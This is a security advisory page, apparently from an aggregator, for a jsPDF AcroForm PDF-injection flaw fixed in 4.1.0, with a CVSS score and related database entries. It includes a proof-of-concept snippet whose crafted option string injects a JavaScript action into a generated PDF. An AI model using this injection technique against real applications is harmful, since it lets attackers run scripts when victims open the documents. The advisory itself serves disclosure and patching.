Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-pqxr-3g65-p328

Опубликовано: 02 фев. 2026
Источник: github
Github: Прошло ревью
CVSS3: 8.1

Описание

jsPDF has PDF Injection in AcroFormChoiceField that allows Arbitrary JavaScript Execution

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

  • AcroformChoiceField.addOption
  • AcroformChoiceField.setOptions
  • AcroFormCheckBox.appearanceState
  • AcroFormRadioButton.appearanceState

Example attack vector:

import { jsPDF } from "jspdf" const doc = new jsPDF(); var choiceField = new doc.AcroFormChoiceField(); choiceField.T = "VulnerableField"; choiceField.x = 20; choiceField.y = 20; choiceField.width = 100; choiceField.height = 20; // PAYLOAD: // 1. Starts with "/" to bypass escaping. // 2. "dummy]" closes the array. // 3. "/AA" injects an Additional Action (Focus event). // 4. "/JS" executes arbitrary JavaScript. const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage ["; choiceField.addOption(payload); doc.addField(choiceField); doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.1.0.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Credits

Research and fix: Ahmet Artuç

Пакеты

Наименование

jspdf

npm
Затронутые версииВерсия исправления

<= 4.0.0

4.1.0

EPSS

Процентиль: 1%
0.00011
Низкий

8.1 High

CVSS3

Дефекты

CWE-116

Связанные уязвимости

CVSS3: 8.1
nvd
4 дня назад

jsPDF is a library to generate PDFs in JavaScript. Prior to 4.1.0, user control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState, and AcroFormRadioButton.appearanceState. The vulnerability has been fixed in jsPDF@4.1.0.

CVSS3: 8.1
debian
4 дня назад

jsPDF is a library to generate PDFs in JavaScript. Prior to 4.1.0, use ...

CVSS3: 8.1
fstec
5 дней назад

Уязвимость модуля Acroform прикладного программного интерфейса библиотеки для создания PDF-файлов jsPDF, позволяющая нарушителю выполнить произвольный JavaScript-код

EPSS

Процентиль: 1%
0.00011
Низкий

8.1 High

CVSS3

Дефекты

CWE-116